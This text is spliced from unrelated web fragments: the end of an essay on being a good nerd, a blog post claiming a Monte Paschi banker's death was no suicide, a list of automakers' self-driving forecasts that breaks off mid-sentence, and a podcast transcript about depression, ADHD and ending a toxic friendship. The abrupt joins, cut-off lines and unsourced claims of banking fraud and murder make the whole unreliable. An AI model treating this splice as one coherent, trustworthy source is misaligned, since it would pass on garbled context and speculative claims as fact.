Love what you love. But accept loving this thing - this one movie, these episodes of a TV show, these comic books - doesn’t mean you have to love all the other things with the same name. Love the art that made the movie, the comic, the show, and appreciate it on its own. That will actually make your appreciation stronger, because you’ll be so much more specific about what it is that moves you, more than just being enslaved to a franchise.
For the record, this extends to tech nerds as well. Step away from the Apple worship...
Be open minded and adventurous... but discerning.
It’s easy to get fenced in. You like a certain thing and you get heavily into that thing, and you become an expert in it. The real next step in fandom, though, is to go beyond that thing. To find out what influenced it, and seek that out. Then to go beyond even that and explore the larger aspects of the genre... and then maybe even begin looking into genres and properties that are slightly adjacent.
Being a nerd is exciting because there is always so much to discover. Lately I’ve been trying to fill in my gaps in science fiction lit, reading some of the great scifi books of all time that I somehow missed. I’ve read The Forever War and Riverworld in the last few weeks and the experience has been terrific. My horizons have suddenly opened - I was never a big fan of hard science fiction literature, but I've truly come to appreciate the genre.
The other side, though, is to be a little choosy. Just because a new TV show has space ships in it (or references movies with space ships in them) doesn’t mean you have to watch it every week. Try new things within the larger world of nerddom, but don’t accept every item aimed at you. As nerds continue to dominate the culture we’re going to see more and more bad stuff being aimed at the nerd market because we’re often seen as easy.
Be progressive.
All of nerddom is based on being progressive. Tech and science nerdery is totally about expanding knowledge and moving forward into the future with better understanding and equipment. But even those of us whose main nerddom happens in fiction owe it all to progressive ideas.
Modern genre fiction has many roots, but almost all of it owes a debt to the world of science fiction magazines that bloomed in the 1930s, on the heels of Amazing Stories**. The explosion of fantastical storytelling that came from these magazines remains unmatched today, and the diversity of storytellers is breathtaking. And many of those stories are wonderfully forward-thinking, looking into tomorrow and trying to find meaning in our human existence.
We love things that are about imagination and thinking big. They’re fantastical stories, but the best ones say something about humanity - either what we hope for it, or what we fear for it. Even the most dystopian fiction contains a forward-thinking hope, because without hope you can’t be frightened by the bad.
Genre fiction is all about possibilities. How can you be into the future, into exciting possibilities, into big ideas and big imagination while still holding on to hate for others? While still having bigoted beliefs? While still treating women like less than people? While still owing allegiance to small-minded myths that try to hold us back?
More than that, being a nerd is about finding other people with similar interests, not similar skin colors or sexualties. Being a nerd is often about being sort of alone, a person with a very unique viewpoint and experience. Nobody should be better equipped for tolerance than a true nerd.
Respect the creators.
Superman didn’t pop up on the page unaided. The Mass Effect universe began as an idea in someone’s head. Every voyage of the Starship Enterprise started on a page.
In early DC Comics it was jokingly inferred that the world of superheroes really existed, and that writers such as Gardner Fox simply tapped into that reality and chronicled what he saw. Sometimes it seems that way - the worlds and characters we love can feel so fully formed, so complete and real, that it’s easy to forget regular men and women thought them up.
It’s these creators to whom we owe our allegiance, not the nebulous concept of the property we enjoy (or the corporate conglomerate who currently holds the trademarks). And while we might come to feel a sense of ownership over these characters or universes, it’s always important to remember that we aren’t the ones who made them, we’re just lucky enough to be visiting them. We don’t get to dictate what the storylines or events are, we only get to decide whether or not we like them.
That doesn’t mean we don’t have a valuable place in the process of creating and maintaining these fictions we love. We’re the caretakers, the ones who infuse the art with our fan passion and - this is really important, pirates - our funding. Looking after the Mona Lisa isn’t as sexy as painting the Mona Lisa, but without those caretakers nobody would be able to enjoy the work anymore. It’s the passion and support of fans that have allowed some of the great genre works of the last fifty years to be seen and to be preserved.
Synthesize your influences into something new.
The final rule for being a good nerd is to go out and create, whether it be new nerd art or new nerd enthusiasm. Being a nerd isn’t a passive thing, and it’s very much our duty to give back what we got.
That said, we shouldn’t be giving back exactly what we got. Remakes, reboots and on-the-nose homages dilute what it is that we originally loved. We should be taking the elements of our nerdy passions and passing them through the filters of our own selves, our own vision and our own creative concepts. Instead of endlessly riffing on Star Wars in fan films and mash-ups, work to create a new thing that takes your inspiration and uses it in exciting ways. There’s already a Star Wars in the world. What’s missing from the world are your unique ideas and perspective. Give us the next Star Wars.
* Weirdly, Revenge of the Nerds is the movie that still has the most realistically diverse range of nerd types, from Booger to Lewis Skolnick to Lamar Latrell.
** There are some who argue that all of fandom can be traced to Amazing Stories’ decision to run a letter column.After posting Thursday about an ex-Deutsche banker’s suicide in Manhattan, I received a message from Antonella Tognazzi, the widow of David Rossi.
Rossi was the communications director of Monte Paschi Bank in Siena, Italy at the time of his death and was featured in my video on the rash of banker “suicides” back in 2012-2013. Rossi’s death is still being probed by Italian authorities.
However, as I learned last night, Tognazzi and an Italian journalist have been charged with a crime for leaking e-mails that David sent and received just prior to his death.
In pleading her case that her husband did not commit suicide Tognazzi had e-mails, which this reporter knew about, stating that her husband feared for his life and wanted protection from the state.
Rossi was going to blow the whistle on the whole corrupt mess that was the acquisition of Banca Antonveneta by Monte Paschi.
His testimony would have included the fact that Deutsche Bank and Nomura Bank were complicit with the fraud of dressing up Monte Paschi’s books through phony derivative holdings to make the bank’s books look better than they were.
All these banking fraud charges are being tried in Italian criminal courts now as Monte Paschi teeters on the brink of bankruptcy after completing the bogus deal and needed a government bailout to remain open.
How this Italian court in Siena would rather go after the widow pleading her case for justice in her husband;s death is beyond me, but as I wrote to her last night: Justice will prevail, hopefully.
AdvertisementsAutonomous car forecasts
This page lists the most recent predictions about when driverless cars will be available on the market:
Fully autonomous vehicles will be on the road before 2022, says NVIDIA CEO
The CEO of the chipmaker NVIDIA, Jensen Huang, said that “It will take no more than four years to have fully autonomous cars on the road.” This refers to actual cars driving on the road (not just car models being ready technically) and assumes that the key legal issues will also have been resolved.
(Source: Reuters, 2017-10-26 )
Audi to introduce a self-driving car by 2020
Scott Keogh, Head of Audi America announced at the CES 2017 that an Audio that really would drive itself would be available by 2020.
(Source: IEEE Spectrum, 2017-01-05)
NuTonomy to provide self-driving taxi services in Singapore by 2018, expand to 10 cities around the world by 2020
The company has just started trials of its self-driving taxis in Singapore’s 1 North District. It plans to deploy self-driving taxis commercially in Singapore by 2018 and aims to be operational with fleets of self-driving taxis in 10 cities of the world by 2020.
(Source: Yahoo News, 2016-08-29, Digital Trends, 2016-05-24)
Delphi and MobilEye to provide off-the-shelf self-driving system by 2019
Both companies have announced that they will bring a fully self-driving (SAE level 4) system on the market for use in a variety of cars in 2019.
Source: TheVerge, 2016-08-23
Ford CEO announces fully autonomous vehicles for mobility services by 2021
Mark Fields, Ford’s CEO announced that the company plans to offer fully self-driving vehicles by 2021. The vehicles, which will come without steering wheel and pedals, will be targeted to fleets which provide autonomous mobility services. Fields expects that it will take several years longer until Ford will sell autonomous vehicles to the public.
Source: Reuters, 2016-08-16
Volkswagen expects first self driving cars on the market by 2019
Johann Jungwirth, Volkswagen’s appointed head of Digitalization Strategy, expects the first self-driving cars to appear on the market by 2019. He did not claim that these would be Volkswagen models.
Source: Focus, 2016-04-23
GM: Autononomous cars could be deployed by 2020 or sooner
General Motor’s head of foresight and trends Richard Holman said at a confererence in Detroit that most industry participants now think that self-driving cars will be on the road by 2020 or sooner.
Source: Wall Street Journal, 2016-05-10
BMW to launch autonomous iNext in 2021
At their annual shareholder meeting, BMW CEO Harald Krueger said that BMW will launch a self-driving electric vehicle, the BMW iNext, in 2021.
Source: Elektrek, 2016-05-12
Ford’s head of product development: autonomous vehicle on the market by 2020
Raj Nair, Ford’s head of product development, expects that autonomous vehicles of SAE level 4 (which means that the car needs no driver but may not be capable of driving everywhere) will hit the market by 2020.(Source: autonews, 2016-02-27)
Baidu’s Chief Scientist expects large number of self-driving cars on the road by 2019
In an interview session, Andrew Ng, the chief scientist of the Chinese search engine Baidu expects that a large number self-driving self-driving cars will be on the road within three years, and that mass-production will be in full swing by 2021.
(Source: Quora, 2016-01-29)
First autonomous Toyota to be available in 2020
Toyota is starting to overcome its long-standing reluctance with respect to autonomous driving: It plans to bring the first models capable of autonomous highway driving to the market by 2020.
(Source: Wired.com, 2015-10-08)
Elon Musk now expects first fully autonomous Tesla by 2018, approved by 2021
In an interview by Danish newspaper Borsen, Tesla’s founder Elon Musk accelerates his timeline for the introduction of fully autonomous Teslas by 2 years (!) compared to his estimate less than a year ago (October 2014). He now expects fully autonomous Teslas to be ready by 2018 but notes that regulatory approval may take 1 to 3 more years thereafter.
(Source: Borsen Interview on youtube, timeline: 8:06-8:29, recorded on 2015-9-23)
Driverless cars will be in use all over the world by 2025
US Secretary of Transportation stated at the 2015 Frankfurt Auto show that he expects driverless cars to be in use all over the world within the next 10 years.
(Source: Frankfurter Allgemeine Zeitung, 2015-09-19)
Uber fleet to be driverless by 2030
Uber CEO, Travis Kalanick, has indicated in a tweet that he expects Uber’s fleet to be driverless by 2030. The service will then be so inexpensive and ubiquitous that car ownership will be obsolete.
(Source: Mobility Lab, 2015-08-18)
Ford CEO expects fully autonomous cars by 2020
In an interview with Forbes, Mark Fields, CEO of |
’t have to do this but there it is. Every little bit helps.
Episode notes:
Follow Mike @BizMichael on Twitter and Instagram
Check out his books: At Least You're Not These Monsters and All The Feelings
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Episode Transcript:
Transcription services donated by Accurate Secretarial LLC. You can find them at www.AccurateSecretarial.com.
Welcome to Episode 325 with my guest Mike Levine. I'm Paul Gilmartin. This is the Mental Illness Happy Hour, a place for honesty about all the battles in our heads, from medically diagnosed conditions, past traumas and sexual dysfunction to everyday compulsive negative thinking. This show is not meant to be a substitute for professional mental counseling. I'm not a therapist. It's not a doctor's office. It's more like a waiting room that doesn't suck.
Our Web site is Mentalpod.com. Go there, fill out one of our anonymous surveys. We don't even take your IP address. It is absolutely confidential. We don't have any way of finding out who fills out the surveys. And maybe we'll read your survey on the air, and speaking of surveys, monthly donors, we just created a survey just for you, and a mini episode of me reading some of those surveys that is also just for you. And that is only available to monthly donors who donate through Patreon, because there's not a way to do it through PayPal. The user interface on PayPal is a fricking nightmare.
So, if you're a monthly donor and you would like to start getting access to some of the free monthly donor stuff, switch your monthly donation from PayPal to Patreon, and the link for Patreon, I'll put it on the Web site, but it's Patreon.com/mentalpod, and Patreon is spelled P-a-t-r-e-o-n dot com. And that mini episode that we just released is, I think, about a half hour, about a half hour long.
I was up till 5:30 in the morning last night, looking at pornography, and I’m ashamed, and I know you're not judging me. Well, actually, some of you might be, but I, the funny thing is, I would not judge you if you did, but I guess we hold ourselves, we expect more out of ourselves than we do other people. Maybe it's just me.
But I’m, I think I’m not wanting to feel my feelings, because I've been feeling sadness about my marriage splitting up. For those of you that don't know, my wife and I were together 28 years, and our split is very amicable, but it's, it's painful, and there's a lot of sadness, especially when I go let the dogs out and, you know, while she's at work and I walk around the house and it's just all these memories were made there.
So, I've been talking to my therapist about it and she is encouraging me to sort out what emotionally I'm conflating with what the facts are, and one of the things we kind of got to the bottom of was that, because my thinking is so black and white, I assume because our marriage is over that my relationship with her and, hence, the dogs is over, you know, beyond me letting them out when she's at work, and that's just not, that's not the case.
But when that, and there's still just some mourning what, that that's just gone. And, you know, somebody said a great thing in my support group tonight, and I asked him, I said, can I use that, and he said, sure. He said, I wake up every morning with a little amount of sadness, and he said, it's because life in a way is a series of good-byes, because nothing stays the same. It's inevitable that things go away.
And making peace with that is really the only sane route, and I guess instead of looking at porn for six hours, you know, or eating marshmallow crème out of a jar by the tablespoonful, which I, by the way, I like to do right before I go to bed. I like to think of them as little tiny ghosts scaring my feelings away. I need to do what my therapist said, which is just let the feelings flow through you and don't get too attached to them, but for some reason, in that moment, I have a really hard time. It's like I, I feel like I’m going to, I don't know. Maybe that's it. I don't know how I'm going to feel.
But anyway, my therapist, by the way, is a BetterHelp.com therapist, and love her. I'm a big fan of BetterHelp.com. They're our sponsor, and if you want to check them out, go to BetterHelp.com/mental and complete a questionnaire, get matched with a BetterHelp.com counselor, and then experience a free week of counseling to see if online counseling is right for you. You've got to be over 18, and I highly recommend it.
Also want to give a shout-out to our other sponsor, ZipRecruiter. Are you hiring? Do you know where to post your job to find the best candidates? Well, posting your job in one place isn't enough to find quality candidates, Mister or Missus. If you want to find the perfect hire, you need to post your job on all the top job sites, and now you can.
ZipRecruiter already has nine million résumés, well, to be fair, that's one guy who's really, really manic. No, ZipRecruiter has nine million res-, I said, no, like somebody actually believed that and I need to let them know that I was just making fun.
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And if you run into any issues, ZipRecruiter's friendly and human, very important, human support staff is ready to help. So, find out today why ZipRecruiter has been featured on Forbes, Wall Street Journal, Time magazine, the New York Times and many others, and I would like to say high-five to them for pulling their advertising from a particular TV show for ethical reasons, moral reasons, whatever you want to say. They pulled their advertising and I want to give them a high-five for that.
So, right now, you guys can post jobs on ZipRecruiter for free by going to ZipRecruiter.com/first. That's ZipRecruiter.com/first. And let's do it one more time. To try it for free, go to ZipRecruiter.com/first.
All right, this is an Awfulsome Moment that was filled out by Xanax, Wellbutrin, Prozac, Oh My. And she writes, over Christmas, my younger sister told our family that she was having an affair and was leaving her husband. Both my grandmother and my mother told me, wow, we always thought it would be you.
[Show intro]
PAUL: I’m here with Mike Levine, who I bumped into when you, you dropped your girlfriend off to record here, what was it, about a month ago?
MIKE: Yeah, it was about a month ago.
PAUL: And you mentioned that you listen to the show and you're crazy--
MIKE: Yeah [chuckles], I have enough disorders to qualify. It's more than one, right?
[Chuckling]
MIKE: You wouldn't let anyone with just one on, unless it's an exotic one--
PAUL: Oh, no. No. Back of the crazy bus, if you only have one disorder. And you qualify to drive the bus.
MIKE: Yeah, absolutely [chuckles].
PAUL: Actually, I don't know that much about you--
MIKE: That's fine.
PAUL: --but just in talking to you, you seem like a warm, open guy, and generally somebody who enjoys the podcast, there's a pretty good chance that we can have a nice conversation.
MIKE: Yeah.
PAUL: Learn some stuff about them and their life.
MIKE: I'd say we've got like a 70% chance, we're doing good--
PAUL: Yeah, yeah. So, step to the plate, bitch.
MIKE: Yeah, okay.
PAUL: Step to the plate.
[Chuckling]
PAUL: You are how old?
MIKE: I am 31.
PAUL: And you were raised in Oakland.
MIKE: Oakland, California, with one sister, three years older. And--
PAUL: Do you hate her?
MIKE: No, I don't. She--
PAUL: Come on, you hate her.
MIKE: No, I really, she is the protector. She's the badass older sister that like intimidates all my incoming girlfriends. She [chuckles]--
PAUL: Nice.
MIKE: She stepped up to Jenny when she met her the first time and said, what are your intentions with my brother, which just--
PAUL: Really?
MIKE: Yeah. It just makes me so happy. Like, I love it, so yeah.
PAUL: Wow. Wow.
MIKE: And it's that perfect three-year age gap where she would be a senior when I was a freshman, so I would like have some connection but enough distance to feel like myself, so yeah.
PAUL: And he's speaking of his girlfriend, Jenny Jaffe, who we recorded, I don't know if her episode will be up when this one airs. I'm not sure which one will air first.
So, I digress. Back to, what was home life like when you were--
MIKE: Ah, home life was--
PAUL: Stop right there, Mike. Give me a broad picture of the issues that you've struggled with, past or present.
MIKE: Absolutely, okay.
PAUL: And then we'll go back and get details.
MIKE: Very much the ADHD, very much lots of depression that institutionalized me at age 15, but I've sort of really wrestled a hold of and am now sort of like a decade past it and now I’m helping like my Jewish teen youth group sort of talk about their feelings. I wrote a book called All the Feelings [chuckles] so like, I'm also like kind of like you, like becoming, like using that emotional acumen to help like, not just keep myself from murdering myself, but--
[Chuckling]
MIKE: --but to actually like live the life that I want, which is lovely.
PAUL: That's beautiful. I mean, that's the goal, isn't it?
MIKE: Right, yeah.
PAUL: Not only do you survive, but you survive and thrive, and I'm already hating myself for saying that, but it, I mean, I think it's really true.
MIKE: If it rhymes, you're living a good life. That's how you know.
PAUL: That's right.
[Chuckling]
PAUL: Okay, so now that we have the broad strokes, let's go back and find out where it all went wrong.
MIKE: Sure, oh, yeah [chuckles]. Fabulous.
PAUL: Let's do the forensic work.
MIKE: Well, I feel like it weirdly, like it went wrong just in my own head because it's, it was a very upper-middle-class like comfortable existence. Like, I had all the support in the world and like my parents are still together, and, you know, just a huge wave of hating myself came out of nowhere in adolescence and like, it's kind of funny to me now that I would like single out myself as someone to hate that much [chuckles].
Like, there are people, there are people who have done bad things, like I sort of maybe felt like kind of a phony, like that was grounds for immediate self-murder, which was like, which is very shocking and kind of offensive, but really clarified for me that it was a chemical like disease.
PAUL: So, you even knew back then that this is, I feel like I’m up against something that is out of my control and not necessarily being caused by another human being or a situation.
MIKE: Yeah. And it was, and I think a lot of, I mean, I’m sure a lot of these things like sprout at like around 15 or 16 because you have the hormones rush in and just activate anything that's lying there dormant, but yeah, I just, like I remember thinking I was the worst person, which I hadn't--
PAUL: Wow.
MIKE: --I hadn't accomplished enough doing bad things. I hadn't hurt anyone. I hadn't--
PAUL: You had a very tiny rap sheet at 15.
MIKE: Exactly [chuckles].
PAUL: You could fit it into a fortune cookie, that's how small your rap sheet was.
MIKE: Yeah, absolutely.
[Chuckling]
MIKE: So, yeah. Like flirted, I think, flirted is not the right word, but I had some suicidal ideation, never really an attempt, but it got bad enough that I was, I couldn't say I wasn't a danger to myself, you know, that moment kind of happened.
`And when I went to the institution, I met a kid who was afraid that there was like robot spiders in the water, and everything became clear in that moment, where I was like, oh, I have like an emotional mood thing. I'm not like crazy-cra-, like all the way disconnected from reality, so it's something--
PAUL: It's warped. It's not severed.
MIKE: Yeah, exactly. Yeah. And if it's warped, I can sort of flatten it out. So yeah, it's been a lot of hard work since then, but like this is, I think, the first time I've ever talked publicly about that.
PAUL: Is it hard?
MIKE: What?
PAUL: Is it hard?
MIKE: No, but I think it was sort of a thing in the back of my head all day today, that was like [chuckles] just say institution and then like everything's a breeze from there.
PAUL: Was it shame or fear that we would think you were being overdramatic for what your issue was, or what was the...
MIKE: Well, weirdly because I think I was, I was like a fan of the podcast in the early days before you sort of started going to much more extreme cases and people who weren't comedians and stuff, and I was like, oh, my like measly ideation isn't going to measure up to like, you know, whatever thing you were having last week.
So I was like [chuckles], so like weirdly I was like, I'm too like crazy for the normos but I’m not like next-next level. Yeah, I don't know if I can drive the crazy bus, but I'm happy to be a guest. I’m happy to be a passenger, maybe in the middle, so.
[Chuckling]
PAUL: I think episodes that aren't dramatic are important.
MIKE: Yeah.
PAUL: I think they're really important because I know there's a lot of people out there that minimize their experience, and it doesn't matter to me what made the ripples. It's the ripples.
MIKE: Yeah.
PAUL: That's--
MIKE: Yeah, just so you watch where they go, yeah.
PAUL: Yeah. So, you know, when you say that it was a healthy, supportive environment, would that also extend to being, the level of anxiety being pretty low, the level of, you know, perfectionism or pressure to succeed, or other stuff? And the reason why I ask, I'm not trying to sabotage your truth.
MIKE: No, no.
PAUL: But very often when I get guests who were from upper-middle-class homes, the more I pry, the more I find out that there was really almost no talk of emotions beyond he's happy today, he's sad today, none of the kind of more complex, it's okay, you're exactly as you are, you don't have to do things to be lovable, you're lovable just as you are.
Sometimes I think kids missing out on that message then feel that to be lovable I have to do things. The love begins, in the child's mind, to be conditional. Even though in the parent's mind it's unconditional, that parent may not convey that to the kid--
MIKE: Right.
PAUL: --because all they talk about is homework and soccer practice and shit like that.
MIKE: Yeah. Well, and it was, I think my parents are very accomplished. My dad is a vascular surgeon and his father was a surgeon, and my mom was a high-level banker. So, I think I had the--
PAUL: Wait, which end of the Monopoly board is that?
MIKE: High level [chuckles]--
PAUL: Is that by free parking?
MIKE: Yeah, pretty much, yeah. It's between Park Place and--
PAUL: Yeah, just far from Baltic, I know that.
[Chuckling]
MIKE: I just like the Scottie dog, that's all I know. Like--
PAUL: Is that your favorite?
MIKE: I think that's, that's the perfect, I think, metaphor for my family, is they're like sort of excitedly playing Monopoly and I’m like making up an adventure that the dog went on and like a little backstory for him.
PAUL: I like the iron. I like its weight, its gravity. It's just, it's very unpretentious.
MIKE: Yeah. And then an old boot, who makes those? Who decides these things?
[Chuckling]
PAUL: Yeah, an old boot.
MIKE: That's literally the thing in the cartoon where they're fishing and they can't find anything, like just...
PAUL: If you start dating somebody and you want to find out who they are, play Monopoly with them.
MIKE: Yeah.
PAUL: Play Monopoly with them.
MIKE: Yeah, because that gets intense. That gets competitive.
PAUL: Or a team game, that's another good way to find out how that person deals with competition, crisis, working together, how they accept failure.
MIKE: Ooh, yeah. I need like, because I [chuckles], my past like two years have been pretty drastic out here because I was left by the person I moved here with and proceeded to like date for the first time in Los Angeles and do all the dating that there was, and I had to sort of develop the safety sense of determining if the other person was unstable or dangerous in any way, because like, being a teacher, being a feelings guy, being a therapy guy, I'm very used to accepting people fully, like even if there's something wrong with them, but you don't want to get involved with someone who's dangerous for you, so I would--
PAUL: Romantically, yes.
MIKE: Yeah, romantically, yeah. So, it took a while for me to develop those self-preservation instincts that like no one drills into boys. Like, that's a perfect thing, I think, to like tell your son, is like do something tough with them or like play Jenga and if they like absolutely lose it, like that, no second date, that's it [chuckles].
PAUL: I look back to some of the game-playing I did when my wife and I were together, particularly before I got sober, and I was a dick. I was fucking dick. In fact, I think we might have even lost the friendship of another couple because I was such a dick to my wife.
I mean, I suppose it wasn't super overt, but it was, I was needling her because she wasn't playing it the way I wanted her to play it. And after I got sober and got some perspective on what's important in life, I'd look back in horror, and I don't blame that couple for--
MIKE: Yeah [chuckles], it's not canasta, you know, you can--
PAUL: Yes, exactly. I had such an emptiness in me I was trying to fill through feeling something by winning or whatever--
MIKE: Right, because that's a game, is that you have to understand that it both totally matters and does not matter. Like, you need to be able to give someone a mulligan or like look the other way or something like that. Huh.
PAUL: Yeah, but anyway, I digress.
So, the emotional kind of environment that you were raised in, you were saying as far as feelings being discussed and stuff like that?
MIKE: I think, I think I was just sort of always the more sensitive one and I, it wasn't until like a decade or two later where I'm like, oh, I’m the only one who needs to understand that, and I think I have the general upper-middle-class artist-kid thing where I'm dreading explaining to my mom why I went on this podcast tonight like instead of lining up three full-time job interviews in the morning tomorrow [chuckles]. She doesn't care that Paul F. Tompkins has sat here as well. I care.
PAUL: So, there is, fair to say there is just a disconnect in terms of emotions being a priority.
MIKE: Yeah, yeah. And I think, to me, it wasn't until like the depression and the ADHD was named that I could sort of be like, oh, I'm not just lazy or scattered or anything like that. And it's something I still really struggle with.
Like a friend did an impression of me that was me looking for like my keys, and I was like, oh, I'm in that mode 80% of the day, like, and that's a very strange way to always exist.
PAUL: Describe that mode.
MIKE: Like, of like, oh, I must have like forgot something, I must have put something in the other room, just like that sort of thoughtfulness of being in two places at once and like--
PAUL: Presence is hard.
MIKE: Yeah.
PAUL: Full presence.
MIKE: It's really hard. And, because that's also like a giant fear of mine, is I’m just going to sit down and get itchy, like that keeps me from writing as much as I should or connecting with people as much as I should. Like, what if I hang out with this person and then I want to leave? Like, what'll happen then [chuckles]?
PAUL: So, stillness and commitment to a moment is kind of hard for you.
MIKE: Yeah, yeah, definitely.
PAUL: Where do you think that comes from?
MIKE: I think it's the ADD all over the place, yeah, which one of the things that's been helpful for that is I started like bouldering, like rock climbing, because you can't not be present when you could fall [chuckles].
PAUL: It's the best.
MIKE: Yeah.
PAUL: And there's problem-solving in it--
MIKE: Exactly. It's kind of different, yeah.
PAUL: Physically you get a rush. You get endorphins. You get--
MIKE: No counting.
PAUL: You get some pride for when you pull off a move. Yeah, that makes total sense.
MIKE: Yeah. There's got to be like constant accomplishment and reward and stuff, but I can like legitimately reach something I couldn't reach last week, and that feeling is really good.
PAUL: I was watching a documentary about some of the guys that climb without ropes, and they say it's not the threat of death that is the reason they climb without ropes. It's that they have to be so focused. They enjoy the presence of the pressure that puts on them, and so it's not like I want to look like a badass by climbing without ropes. It's just, I want to be so in the moment--
MIKE: You have no other choice.
PAUL: --so I can fully enjoy this experience.
MIKE: Yeah. And that's, that's a very hard thing to do.
PAUL: Climb without ropes or be present?
MIKE: Or just, no, be present, yeah [chuckles].
PAUL: So, did you find that, when you started, you said bouldering or rock climbing?
MIKE: Like bouldering, yeah.
PAUL: Did you find when you started doing that that any of it had payoffs outside of bouldering?
MIKE: Yeah. I think it was like, well, because I did the whole like break-up, depression, like hit the gym, and I'd never, my family has always been athletic, but I've always not seen the point of swimming to the other side faster or like [chuckles], we were talking about sports earlier and that doesn't compute for me.
But to just feel steadier and to feel a vague emotional release instead of like a specific one, because I think, like my MO is usually to be like, oh, okay, I’m sad, I'm going to listen to the saddest song and feel the most sad, and then sadness is done but, like, just that general restless tension that you have.
And I also went back on ADD medication about six months ago, so that sort of inten-, like low-level intensity buzz that drives me, like makes me feel like I’m going forward even if I'm not doing anything, like I could sort of let that out and physically exhaust myself.
PAUL: So, maybe even the questioning of, am I in the right mode right now, isn't as intense.
MIKE: Yeah, exactly.
PAUL: You know, because very often it's, the thinking about your depression is as corrosive as the depression itself.
MIKE: Absolutely, yeah. Well, and it's, because I think when it gets to the worst, like I think about my inner monologue and, because of the depression, the ADHD, I'm just thinking of like self-hating half-sentences, so it's like--
PAUL: Give me some examples.
MIKE: --if I could just, why won't I, and it doesn't finish. It's just like the beg-, like I don't follow it through because if you did it's like, oh, sometimes I am late for things and I feel as if I am disappointing people [chuckles]. Like, once you get through that sentence, it doesn't sound that bad.
PAUL: That's called shit-head shorthand.
MIKE: Yeah [chuckles].
PAUL: Yeah. It's a school, there's actually a school you go to--
[Chuckling]
PAUL: I love that you don't even get to finish, your ADHD is so bad, you don't even get to finish beating yourself up.
MIKE: Absolutely.
PAUL: That is so [chuckles] fantastic.
MIKE: I have an old joke that I've never finished a flip book, like--
[Laughter]
MIKE: I don't know if the dog does the full back flip, but like--
[Laughter]
MIKE: Yeah, to not engage fully or to think, oh, other people can sit down and finish a whole sentence, or even with the sentence I’m saying right now, I’m sort of searching for where I thought I was going to go a half second ago, which is completely gone. I don't--
PAUL: I do the exact same thing. Do you also find that when another thought enters into your mind while you're trying to be present with one thing, the reason you get distracted by it isn't because you're necessarily bored with the first thing. It's just that the second thing has a compelling nature to it that seems more kind of, like it needs to be dealt with right now, otherwise you'll forget it, or what drives you to do--
MIKE: Sometimes if it has like an emotional anchor to it, like that's where I will follow it. Like, the practical, I have to e-mail someone back for something that's coming up in two weeks, there's no emotional currency to that, but like, what if this one friend is mad at me, like I got to check in with them, I've got to make sure everything's cool, and so, yeah, that is kind of how the new thought comes in.
PAUL: Okay. So, just to go back and pick up the thread, we were talking about how bouldering helps you in other areas of your life. Did you, do you feel like we kind of fleshed that out?
MIKE: Yeah. Well, I, it's actually weirdly led to some mild like body dysmorphia, because now I have like muscles, which I've never had before, and so like I, I'm not comfortable with my reflection in the mirror because it's too hunky [chuckles], which is--
PAUL: Really?
MIKE: --which is so weird, right. But like, my body looks drastically different than it did two years ago, and, at one point, like I almost went to the doctor because I had a lump on my arm, but it was just a muscle. Like, it was just [chuckles]--
PAUL: That might make it into the opening montage next year. That's pretty fucked up.
[Chuckling]
PAUL: That's, you are driving the bus, my friend.
MIKE: Okay, good.
PAUL: You are driving the bus.
MIKE: I’m fully qualified.
[Laughter]
PAUL: Congratulations, and I'm sorry.
MIKE: Oh, it's okay, it's okay. Well, it's also weird to sort of, to talk about my issues knowing I’m coming from like a place of male privilege and white privilege and whatever mix of Jew privilege is in there, so yeah.
[Chuckling]
PAUL: Yeah, that, again, it's the ripples, not the thing.
The place where I feel like privilege matters is when you are engaged in a group discussion about something and somebody is talking about, you know, maybe a struggle that, where at the key part of it is the, it was caused by the absence of any type of privilege or an oppression in their life, and then, you know, a straight, rich, white, good-looking male would pipe up and say, you know, there was a year at summer camp where I didn't--
MIKE: I had it real rough [chuckles]--
PAUL: --I didn't win one of the swim races, and I still think about it. That, to me, would be like an example where--
MIKE: Right.
PAUL: --okay, your privilege is, this is maybe not the place for you to bring that up because--
MIKE: Right, and this is my episode. Like, I can't worry about what the other guests have or what that stacks up, yeah, it's...
PAUL: That being said, I do that all the time. I do that all the time--
MIKE: Yeah, absolutely. Yeah.
PAUL: --my abuse wasn't bad enough, I'm being dramatic, why can't I get over it, etc., etc.
MIKE: Well, that was something, too, where I sort of, I suffered some emotional abuse and had to end a friendship for the first time this year, and it took me so long to identify it because I was like, oh, no, this is a guy friend, like those things don't happen. Like, it's not a husband who is, like I’m afraid of or anything like that, but, you know, you go down those checklists of the behaviors and all of them light up, and you see there's a problem, so.
PAUL: What a great opportunity for you to practice having uncomfortable conversations or saying, walk me through it. Walk me through it.
MIKE: So, the situation or like...
PAUL: Yeah. Yeah, just kind of give me the what, what were the things that you began to realize were unacceptable, and then how did you express, if you did to this person, that this isn't working?
MIKE: Well, it was sort of one of those things where I realized I was constantly on the defensive, and I, my friend had like a list of like five incidents that had occurred in various months ago that kept being brought to me and I kept being asked to apologize for.
And me and this guy were working on a project together, and we had one of those nights where like we have to e-mail our bosses by like 5:00, and he kept bringing up me asking for his girlfriend at work a few months ago, which he saw as a minor boundary violation, and I was like--
PAUL: Asking for her what, to do what?
MIKE: Just to say hello, like I wasn't supposed to like say that she had worked there or something like that, and it was, it was just, I looked around, I was like, none of my other friendships are like this, and it was in a time of like big emotional growth for me.
And it took me a while to realize I, I had him around as that familiar voice of doubt and hating myself. Like, while I was making these big gains, he was the friend who was making fun of me but with the nasty edge. Like, because I have, my sister makes fun of me. Everyone I know I love makes fun of me, but I don't doubt that they actually care or they actually like me. So, when I was like that far off base, I was like, something is very, very wrong here. So, I quit the show that we were working on together and ended the friendship, just in one go.
PAUL: And how did you do it?
MIKE: It was over like a very uncomfortable Gchat where I was like, no, like, you know what, you have so many, [chuckles] it was one of those things where I realized, because it started feeling like relationship fights, and I was being accused of the things that he did not like about me. I was accused of being too sensitive because he had a problem with how I reacted to what he said, and like all of this--
PAUL: He sounds pretty narcissistic.
MIKE: Yeah. It was, it was, in a year where I dated many women and had my heart broken and fixed and everything like that, it was the friends, like the knife from the friend that like really hurt me so much.
And so I threw away like one of the bigger opportunities I've had because I saw ahead to it, I was like, even if this show is successful, it's going to hurt me to deal with this person. And if I have anything, it's my sort of self-regard and sanity, which took me a while to get to like, it took me like 10 years to get to, I'm not a bad person [chuckles] and then like five years to I'm an all right person and then another five for like, oh, I’m pretty, like I'd hang out with me--
[Chuckling]
PAUL: You are so full of yourself. You sicken me.
Wow, that is such incredible emotional intelligence, to navigate your way through that, especially to say, this is going to go to a place that is going to really suck emotionally.
MIKE: Yeah.
PAUL: And the toll is going to be big, and I am confident enough in myself that this isn't the only opportunity I’m going to have in my life.
